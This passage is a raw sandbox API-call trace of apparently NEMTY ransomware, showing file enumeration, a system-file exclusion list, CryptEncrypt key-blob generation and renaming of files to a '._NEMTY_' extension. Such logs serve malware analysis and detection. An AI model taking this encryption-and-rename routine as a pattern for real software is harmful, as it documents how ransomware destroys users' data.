(HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0105.751] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_bw32.jpg" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_bw32.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0105.751] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=18150282790957604) returned 0 [0105.751] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0105.751] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.751] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0105.760] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.760] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0105.761] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.761] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0105.817] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.817] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0105.817] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.817] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0105.829] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.829] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0105.829] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.829] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0105.838] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.838] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0105.838] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.838] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0105.847] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.847] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0105.847] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.847] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0105.857] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.857] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0105.857] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.857] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0105.866] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.866] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0105.866] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.866] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0105.876] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.876] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0105.876] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.876] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0105.885] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.885] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0105.885] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.885] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0105.894] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.894] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0105.894] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.894] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0105.900] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.900] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0105.900] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.900] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0105.906] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.906] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0105.906] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106164772, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.906] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f94258, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0105.907] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0105.907] CloseHandle (hObject=0xffffffff) returned 0 [0105.907] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0105.907] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0105.907] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0105.907] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0105.907] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0105.907] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0105.907] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0105.907] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0105.907] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0105.907] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0105.907] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_bw32.jpg" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_bw32.jpg"), lpNewFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_bw32.jpg._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_bw32.jpg._nemty_kgobjgd_")) returned 0 [0105.907] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0105.907] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0105.907] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0105.907] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94258 | out: hHeap=0x4f90000) returned 1 [0105.907] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0105.907] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0105.907] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0105.907] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0105.907] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf3d7d4c, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xaf3d7d4c, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x6c2edf75, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x980, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="wmpnss_bw48.bmp", cAlternateFileName="")) returned 1 [0105.907] lstrcmpiW (lpString1="wmpnss_bw48.bmp", lpString2=".") returned 1 [0105.907] lstrcmpiW (lpString1="wmpnss_bw48.bmp", lpString2="..") returned 1 [0105.907] lstrcmpiW (lpString1="wmpnss_bw48.bmp", lpString2="...") returned 1 [0105.907] lstrcmpiW (lpString1="wmpnss_bw48.bmp", lpString2="windows") returned 1 [0105.907] lstrcmpiW (lpString1="wmpnss_bw48.bmp", lpString2="$RECYCLE.BIN") returned 1 [0105.907] lstrcmpiW (lpString1="wmpnss_bw48.bmp", lpString2="rsa") returned 1 [0105.908] lstrcmpiW (lpString1="wmpnss_bw48.bmp", lpString2="NTDETECT.COM") returned 1 [0105.908] lstrcmpiW (lpString1="wmpnss_bw48.bmp", lpString2="ntldr") returned 1 [0105.908] lstrcmpiW (lpString1="wmpnss_bw48.bmp", lpString2="MSDOS.SYS") returned 1 [0105.908] lstrcmpiW (lpString1="wmpnss_bw48.bmp", lpString2="IO.SYS") returned 1 [0105.908] lstrcmpiW (lpString1="wmpnss_bw48.bmp", lpString2="boot.ini") returned 1 [0105.908] lstrcmpiW (lpString1="wmpnss_bw48.bmp", lpString2="boot.ini") returned 1 [0105.908] lstrcmpiW (lpString1="wmpnss_bw48.bmp", lpString2="AUTOEXEC.BAT") returned 1 [0105.908] lstrcmpiW (lpString1="wmpnss_bw48.bmp", lpString2="ntuser.dat") returned 1 [0105.908] lstrcmpiW (lpString1="wmpnss_bw48.bmp", lpString2="desktop.ini") returned 1 [0105.908] lstrcmpiW (lpString1="wmpnss_bw48.bmp", lpString2="CONFIG.SYS") returned 1 [0105.908] lstrcmpiW (lpString1="wmpnss_bw48.bmp", lpString2="RECYCLER") returned 1 [0105.908] lstrcmpiW (lpString1="wmpnss_bw48.bmp", lpString2="BOOTSECT.BAK") returned 1 [0105.908] lstrcmpiW (lpString1="wmpnss_bw48.bmp", lpString2="bootmgr") returned 1 [0105.908] lstrcmpiW (lpString1="wmpnss_bw48.bmp", lpString2="programdata") returned 1 [0105.908] lstrcmpiW (lpString1="wmpnss_bw48.bmp", lpString2="appdata") returned 1 [0105.908] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0105.908] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnss_bw48.bmp", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0105.908] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnss_bw48.bmp", cchWideChar=15, lpMultiByteStr=0x653f250, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmpnss_bw48.bmp", lpUsedDefaultChar=0x0) returned 15 [0105.908] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0105.908] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnss_bw48.bmp", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0105.908] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnss_bw48.bmp", cchWideChar=15, lpMultiByteStr=0x653f250, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmpnss_bw48.bmp", lpUsedDefaultChar=0x0) returned 15 [0105.908] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0105.908] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0105.908] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0105.908] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnss_bw48.bmp", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0105.908] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnss_bw48.bmp", cchWideChar=15, lpMultiByteStr=0x653f2a0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmpnss_bw48.bmp", lpUsedDefaultChar=0x0) returned 15 [0105.908] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0105.908] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0105.908] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnss_bw48.bmp", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0105.908] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnss_bw48.bmp", cchWideChar=15, lpMultiByteStr=0x653f2d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmpnss_bw48.bmp", lpUsedDefaultChar=0x0) returned 15 [0105.908] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0105.908] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0105.908] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0105.908] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0105.908] Sleep (dwMilliseconds=0x5) [0105.922] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xf2c7fcf0, dwHighDateTime=0x1d561e7)) [0105.922] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xf2c7fcf0, dwHighDateTime=0x1d561e7)) [0105.922] GetLastError () returned 0x5 [0105.922] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0105.922] GetLastError () returned 0x5 [0105.922] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0105.922] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0105.922] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0105.922] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0105.922] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0105.922] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0105.922] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f94258 [0105.922] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x4f94258, pcchString=0x653ef9c | out: pszString="sE5Om+lVRhZO+UegzEWFZ1ERbcrX8gpbthbmnPBYtD2nG7WdrfH7fVCUnClLHt4m\r\ny+4HnYaSkAU9NexpkSxEwomJcavASFHByEcqZ0rajUp8dF6+bNqTPQN41ZVD2jzm\r\nbYh0hqJRhDimPsL6NnwqG+yCTl60GogrrJjEqQ0NjcMH8pZ5/ovTgcSG4MakMNnd\r\nN0pXHZhlCLVYqpN7qLv/iUEqrx5pkirgaW/6aPaUDIEejk7C/3Ssu4+SA+YHXqH+\r\neBnGIzUMbhmd/JHVZ6BII2wEM+zU5Iwq95z+LY4afYMidIWQIa8durMqEivEKQRl\r\ndHqDbFcsjBKAioBy+qwlGg==\r\n", pcchString=0x653ef9c) returned 1 [0105.922] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0105.922] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94258 | out: hHeap=0x4f90000) returned 1 [0105.922] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0105.922] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0105.922] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f94258 [0105.922] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0105.922] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_bw48.bmp" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_bw48.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0105.923] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=18150282790957604) returned 0 [0105.923] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0105.923] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.923] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0105.932] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.932] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0105.932] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.932] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0105.942] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.942] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0105.942] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.942] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0105.951] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.951] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 